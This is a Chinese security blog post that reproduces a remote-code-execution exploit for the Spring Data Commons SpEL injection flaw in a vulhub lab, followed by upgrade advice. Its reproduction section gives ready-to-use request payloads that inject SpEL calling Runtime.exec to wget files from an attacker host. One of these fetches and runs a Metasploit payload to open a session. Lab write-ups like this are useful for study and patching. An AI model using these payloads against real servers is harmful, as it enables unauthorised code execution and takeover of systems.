作者: 墨阳
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x00 前言
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
受影响版本:
Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5 (Kay SR5)
还有部分更早的版本
0x01 环境
kali:10.0.0.128
使用了vulhub靶场环境:10.0.0.130
0x02 复现过程
1、kali开启一个简易http服务
2、构造payload
访问:http://10.0.0.130:8080/users
提交任意信息,抓包:
payload 1:
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://10.0.0.128:8000/test.txt")]=chybeta&password=chybeta&repeatedPassword=chybeta
payload 2:
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('wget http://10.0.0.128:8000/test.txt')")]=asdf
3、发包,下载文件
4、上线msf
生成msf马,开启http服务:
payload:
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('wget http://10.0.0.128:8000/shell')")]=asdf
修改上传的msf马的权限:
msf开启监听:
运行msf马
msf上线成功
0x03 修复建议
2.0.x用户应升级到2.0.6
1.13.x用户应升级到1.13.11
较旧的版本应升级到受支持的分支
解决此问题的版本包括:-Spring Data REST 2.6.11(Ingalls SR11)-Spring Data REST 3.0.6(Kay SR6)-Spring Boot 1.5.11 -Spring Boot 2.0.1
0x04 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!